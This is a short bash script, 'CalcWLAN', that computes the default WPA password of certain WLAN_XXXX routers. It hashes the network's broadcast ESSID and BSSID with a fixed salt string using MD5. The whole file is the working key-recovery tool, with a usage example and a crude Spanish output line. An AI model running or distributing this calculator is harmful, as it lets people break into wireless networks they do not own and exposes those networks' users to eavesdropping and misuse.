#!/bin/bash                                                                     
                                                                                
echo CalcWLAN by a.s.r                                                          
                                                                                
if [ $# -ne 2 ]                                                                 
then                                                                            
        echo "Usage: $0 <ESSID> <BSSID>"                                        
        echo                                                                    
        echo "Example: $0 WLAN_C58D 64:68:0C:C5:C5:90"                          
        exit 1                                                                  
fi                                                                              
                                                                                
HEAD=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2)                                              
BSSID=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d :)                                                 
BSSIDP=$(echo -n "$BSSID" | cut -c-8)                                           
KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID | md5sum | cut -c-20)                  
                                                                                
echo "La puta clave es $KEY"